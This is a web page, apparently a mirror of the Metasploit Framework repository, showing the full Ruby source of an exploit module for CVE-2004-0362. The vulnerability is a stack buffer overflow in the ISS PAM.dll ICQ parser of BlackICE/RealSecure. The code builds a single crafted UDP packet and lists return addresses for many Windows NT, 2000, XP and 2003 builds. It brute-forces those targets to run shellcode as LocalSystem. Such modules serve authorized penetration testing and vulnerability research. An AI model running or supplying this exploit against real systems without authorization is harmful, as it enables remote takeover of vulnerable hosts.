Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/firewall/blackice_pam_icq.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the ISS products that use15the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation16will result in arbitrary code execution as LocalSystem. This exploit17only requires 1 UDP packet, which can be both spoofed and sent to a broadcast18address.1920The ISS exception handler will recover the process after each overflow, giving21us the ability to bruteforce the service and exploit it multiple times.22},23'Author' => 'spoonm',24'License' => MSF_LICENSE,25'References' =>26[27['CVE', '2004-0362'],28['OSVDB', '4355'],29['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html']30],31'Payload' =>32{33'Space' => 504-31-4,34'BadChars' => "\x00",35'MinNops' => 0,36'MaxNops' => 0,37'StackAdjustment' => -350038},39'Platform' => 'win',40'Targets' =>41[42[ 'Bruteforce', { } ],43[ 'Bruteforce iis-pam1.dll', { 'Targets' => 3 .. 4 } ],44[ 'Bruteforce NT 4.0', { 'Targets' => 5 .. 15 } ],45[ 'iis-pam1.dll 3.6.06', { 'Ret' => 0x5e0a47ef } ],46[ 'iis-pam1.dll 3.6.11', { 'Ret' => 0x5e0da1db } ],47[ 'WinNT SP3/SP4/SP5', { 'Ret' => 0x777e79ab } ],48[ 'WinNT SP4/SP5', { 'Ret' => 0x7733b8db } ],49[ 'WinNT SP5/SP6 - advapi32', { 'Ret' => 0x77dcd1cb } ],50[ 'WinNT SP3/SP5/SP6 - shell32', { 'Ret' => 0x77cec080 } ],51[ 'WinNT SP5/SP6 - mswsock', { 'Ret' => 0x7767ebca } ],52[ 'WinXP SP0/SP1 - shell32', { 'Ret' => 0x776606af } ],53[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76b305a7 } ],54[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76e61a21 } ],55[ 'WinXP SP0/SP1 - ws2_32', { 'Ret' => 0x71ab7bfb } ],56[ 'WinXP SP0/SP1 - mswsock', { 'Ret' => 0x71a5403d } ],57[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],58[ 'Win2000 SP0 - SP4', { 'Ret' => 0x750231e2 } ],59[ 'Win2000 SP2/SP3 - samlib', { 'Ret' => 0x75159da3 } ],60[ 'Win2000 SP0/SP1 - activeds', { 'Ret' => 0x77ed0beb } ],61[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],62[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],63[ 'WinXP SP0 - SP1', { 'Ret' => 0x71aa3a4b } ],64[ 'Win2003 SP0', { 'Ret' => 0x71bf3cc9 } ],65],66'DisclosureDate' => '2004-03-18',67'DefaultTarget' => 0))6869register_options(70[71Opt::RPORT(1)72])73end7475def exploit76datastore['RPORT'] = rand(65536) if rport == 17778targs = [ target ]7980if target.name =~ /^Brute/81if target['Targets']82targs = []8384target['Targets'].each { |idx|85targs << targets[idx]86}87else88targs = targets.dup8990targs.delete_at(0)91targs.delete_at(0)92targs.delete_at(0)93end94end9596targs.each { |targ|97print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...")9899shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length)100email = rand_text_english(19) + [targ.ret].pack('V') + shellcode101102# Hopefully this structure is correct -- ported from msf 2. Blame me103# (skape) if it doesn't work!104packet =105# SRV_MULTI106[5, 0, 0, 530, 0, 0, 1161044754, 0, 2].pack('vcVvvvVVc') +107# SRV_USER_ONLINE108[5, 0, 0, 110, 0, 0, 1161044754, 0].pack('vcVvvvVV') +109[1161044754, 1, 0, 0, 0, 0, 0].pack('VVVVcVV') +110# SRV_META_USER111[5, 0, 0, 990, 0, 0, 2018915346, 0].pack('vcVvvvVV') +112"\x00\x00\x0a" + # subcommand / success113"\x00\x00" + # nick length / nick114"\x00\x00" + # first length / first115"\x00\x00" + # last length / last116[email.length].pack('v') + email +117"\x00\x00\x00\x00\x00\x00\x00"118119print_status("Sending UDP request to #{datastore['RPORT']} (#{packet.length} bytes)")120121connect_udp(true, { 'CPORT' => 4000 })122udp_sock.put(packet)123disconnect_udp124125print_status("Sleeping (giving exception handler time to recover)")126127select(nil,nil,nil,5)128}129end130end131132133